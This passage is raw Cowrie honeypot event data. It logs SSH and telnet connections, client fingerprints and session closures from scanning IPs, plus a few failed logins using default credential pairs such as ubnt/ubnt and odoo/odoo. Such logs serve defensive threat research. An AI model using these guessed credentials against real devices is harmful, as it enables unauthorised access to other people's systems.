acha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:52.719634Z","src_ip":"176.65.139.103","session":"5347bf4b90c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:52.848082Z","src_ip":"74.87.117.149","session":"11303ed47004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:52.995390Z","src_ip":"176.65.139.103","session":"5347bf4b90c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:54.100874Z","src_ip":"176.65.139.103","session":"5347bf4b90c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.855843544006348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:56.113712Z","src_ip":"5.189.178.126","session":"bb7f0ef0ece8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.888940811157227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:56.616813Z","src_ip":"213.136.75.179","session":"de7c010d2fb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":38850,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15856e7ca02","protocol":"telnet","message":"New connection: 213.136.75.179:38850 (10.17.0.5:23) [session: c15856e7ca02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:56.798078Z"}
{"eventid":"cowrie.session.closed","duration":32.27712297439575,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:56.964780Z","src_ip":"213.136.75.179","session":"3c0095639139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36456,"dst_ip":"159.203.135.109","dst_port":23,"session":"59a476d80125","protocol":"telnet","message":"New connection: 159.223.86.167:36456 (159.203.135.109:23) [session: 59a476d80125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:57.238508Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37140,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9b44ee20d0","protocol":"telnet","message":"New connection: 159.223.86.167:37140 (159.203.135.109:23) [session: fd9b44ee20d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:57.458331Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39010,"dst_ip":"159.203.135.109","dst_port":23,"session":"92409c40031b","protocol":"telnet","message":"New connection: 159.223.86.167:39010 (159.203.135.109:23) [session: 92409c40031b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:57.823585Z"}
{"eventid":"cowrie.session.closed","duration":30.9946186542511,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:59.291541Z","src_ip":"159.223.86.167","session":"2cb346d075a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48486,"dst_ip":"10.17.0.5","dst_port":23,"session":"256c9ce8e4db","protocol":"telnet","message":"New connection: 213.136.75.179:48486 (10.17.0.5:23) [session: 256c9ce8e4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:59.725749Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47366,"dst_ip":"159.203.135.109","dst_port":23,"session":"8753499f1eea","protocol":"telnet","message":"New connection: 159.223.86.167:47366 (159.203.135.109:23) [session: 8753499f1eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:59.731614Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c78bb585f00","protocol":"telnet","message":"New connection: 5.189.178.126:39334 (10.17.0.5:23) [session: 4c78bb585f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:59.749525Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47402,"dst_ip":"159.203.135.109","dst_port":23,"session":"67986a4334ff","protocol":"telnet","message":"New connection: 159.223.86.167:47402 (159.203.135.109:23) [session: 67986a4334ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:59.753307Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49698,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9c37d51fc5","protocol":"ssh","message":"New connection: 176.65.139.103:49698 (10.17.0.5:22) [session: fb9c37d51fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:00.499671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:00.511911Z","src_ip":"176.65.139.103","session":"fb9c37d51fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:00.588822Z","src_ip":"176.65.139.103","session":"fb9c37d51fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.84795570373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:00.925834Z","src_ip":"213.136.75.179","session":"6501c9409375","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:00.932801Z","src_ip":"176.65.139.103","session":"fb9c37d51fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.911795139312744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:01.217392Z","src_ip":"213.136.75.179","session":"2bdbd1c8d224","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8452308177948,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:01.297578Z","src_ip":"213.136.75.179","session":"c83be75bcf27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48498,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4faf222ad9c","protocol":"telnet","message":"New connection: 213.136.75.179:48498 (10.17.0.5:23) [session: d4faf222ad9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:01.535872Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:02.017984Z","src_ip":"176.65.139.103","session":"fb9c37d51fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33394,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c18e2ccdce","protocol":"telnet","message":"New connection: 23.254.167.244:33394 (159.203.135.109:23) [session: e9c18e2ccdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:03.045992Z"}
{"eventid":"cowrie.session.closed","duration":33.9621262550354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:03.253297Z","src_ip":"213.136.75.179","session":"efc5225a4fa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":58148,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c07d7406512","protocol":"telnet","message":"New connection: 159.223.86.167:58148 (159.203.135.109:23) [session: 2c07d7406512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:03.259966Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48512,"dst_ip":"10.17.0.5","dst_port":23,"session":"54416e84acf1","protocol":"telnet","message":"New connection: 213.136.75.179:48512 (10.17.0.5:23) [session: 54416e84acf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:03.618037Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48524,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d2e7d68662","protocol":"telnet","message":"New connection: 213.136.75.179:48524 (10.17.0.5:23) [session: a3d2e7d68662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:04.222076Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bc5acc85bb0","protocol":"telnet","message":"New connection: 159.223.86.167:37462 (159.203.135.109:23) [session: 8bc5acc85bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:04.318586Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37964,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afe9bcf3668","protocol":"telnet","message":"New connection: 159.223.86.167:37964 (159.203.135.109:23) [session: 4afe9bcf3668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:04.448837Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38662,"dst_ip":"159.203.135.109","dst_port":23,"session":"c24f559e6ea2","protocol":"telnet","message":"New connection: 159.223.86.167:38662 (159.203.135.109:23) [session: c24f559e6ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:04.610344Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":41302,"dst_ip":"10.17.0.5","dst_port":23,"session":"6227bcecc7c8","protocol":"telnet","message":"New connection: 155.117.234.131:41302 (10.17.0.5:23) [session: 6227bcecc7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:04.764464Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a1521631eb","protocol":"telnet","message":"New connection: 159.223.86.167:44050 (159.203.135.109:23) [session: 50a1521631eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:05.860307Z"}
{"eventid":"cowrie.session.closed","duration":32.32242178916931,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:06.396359Z","src_ip":"213.136.75.179","session":"21700c295678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48530,"dst_ip":"10.17.0.5","dst_port":23,"session":"07912ca64a8c","protocol":"telnet","message":"New connection: 213.136.75.179:48530 (10.17.0.5:23) [session: 07912ca64a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:06.440628Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48546,"dst_ip":"10.17.0.5","dst_port":23,"session":"64e78e589804","protocol":"telnet","message":"New connection: 213.136.75.179:48546 (10.17.0.5:23) [session: 64e78e589804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:06.972304Z"}
{"eventid":"cowrie.session.closed","duration":30.820021629333496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:07.071092Z","src_ip":"5.189.178.126","session":"c5b7ea9ac751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63188624382019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.259106Z","src_ip":"213.136.75.179","session":"c710b0830e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54290,"dst_ip":"159.203.135.109","dst_port":23,"session":"188c100e7fbf","protocol":"telnet","message":"New connection: 159.223.86.167:54290 (159.203.135.109:23) [session: 188c100e7fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.320825Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36432,"dst_ip":"10.17.0.5","dst_port":22,"session":"217407809417","protocol":"ssh","message":"New connection: 176.65.139.103:36432 (10.17.0.5:22) [session: 217407809417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.403477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.407912Z","src_ip":"176.65.139.103","session":"217407809417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e994cbf35d68","protocol":"telnet","message":"New connection: 159.223.86.167:54598 (159.203.135.109:23) [session: e994cbf35d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.411595Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.503958Z","src_ip":"176.65.139.103","session":"217407809417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.04493188858032,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.519455Z","src_ip":"213.136.75.179","session":"e92f49968bd0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.758456Z","src_ip":"176.65.139.103","session":"217407809417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"80604b6cff92","protocol":"telnet","message":"New connection: 159.223.86.167:56300 (159.203.135.109:23) [session: 80604b6cff92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:08.811810Z"}
{"eventid":"cowrie.session.closed","duration":30.60670232772827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:09.071242Z","src_ip":"5.189.178.126","session":"1b88313186c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":47618,"dst_ip":"10.17.0.5","dst_port":23,"session":"4542061f9cb8","protocol":"telnet","message":"New connection: 5.189.178.126:47618 (10.17.0.5:23) [session: 4542061f9cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:09.514132Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33962,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc3284e43a8","protocol":"telnet","message":"New connection: 213.136.75.179:33962 (10.17.0.5:23) [session: acc3284e43a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:09.652920Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:09.843271Z","src_ip":"176.65.139.103","session":"217407809417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33964,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0de772f772","protocol":"telnet","message":"New connection: 213.136.75.179:33964 (10.17.0.5:23) [session: 1c0de772f772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:09.948694Z"}
{"eventid":"cowrie.session.closed","duration":30.766138553619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:10.179580Z","src_ip":"159.223.86.167","session":"bb51aceab69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33968,"dst_ip":"10.17.0.5","dst_port":23,"session":"e173a1c10a9d","protocol":"telnet","message":"New connection: 213.136.75.179:33968 (10.17.0.5:23) [session: e173a1c10a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:10.553447Z"}
{"eventid":"cowrie.session.closed","duration":33.20486378669739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:10.846792Z","src_ip":"213.136.75.179","session":"4da685081a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36764,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe372dce06d","protocol":"telnet","message":"New connection: 159.223.86.167:36764 (159.203.135.109:23) [session: bfe372dce06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:10.857669Z"}
{"eventid":"cowrie.session.closed","duration":31.800536632537842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.404760Z","src_ip":"213.136.75.179","session":"a0e0142c3aa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33998,"dst_ip":"10.17.0.5","dst_port":23,"session":"94433dfae54b","protocol":"telnet","message":"New connection: 213.136.75.179:33998 (10.17.0.5:23) [session: 94433dfae54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.548628Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34010,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c6145c66ce","protocol":"telnet","message":"New connection: 213.136.75.179:34010 (10.17.0.5:23) [session: e3c6145c66ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.734404Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4576f3cf571","protocol":"telnet","message":"New connection: 213.136.75.179:34020 (10.17.0.5:23) [session: d4576f3cf571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.814226Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40974,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c72202a086","protocol":"telnet","message":"New connection: 159.223.86.167:40974 (159.203.135.109:23) [session: f5c72202a086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.877338Z"}
{"eventid":"cowrie.session.closed","duration":31.955141067504883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.902086Z","src_ip":"213.136.75.179","session":"e9fcee92ddfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41102,"dst_ip":"159.203.135.109","dst_port":23,"session":"f36df8c20ead","protocol":"telnet","message":"New connection: 159.223.86.167:41102 (159.203.135.109:23) [session: f36df8c20ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.908973Z"}
{"eventid":"cowrie.session.closed","duration":32.58747982978821,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:11.951725Z","src_ip":"213.136.75.179","session":"4931681b550f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.623117208480835,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:12.146423Z","src_ip":"213.136.75.179","session":"9d33f6879684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34030,"dst_ip":"10.17.0.5","dst_port":23,"session":"9384582675a5","protocol":"telnet","message":"New connection: 213.136.75.179:34030 (10.17.0.5:23) [session: 9384582675a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:12.158067Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b3fc1ab598","protocol":"telnet","message":"New connection: 213.136.75.179:34032 (10.17.0.5:23) [session: 36b3fc1ab598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:12.254973Z"}
{"eventid":"cowrie.session.closed","duration":31.77286672592163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:12.527578Z","src_ip":"213.136.75.179","session":"685aab8cc98d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31199908256531,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:12.533863Z","src_ip":"23.254.167.244","session":"5c84f3324ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08956027030945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:12.969510Z","src_ip":"213.136.75.179","session":"f96252603980","protocol":"telnet"}
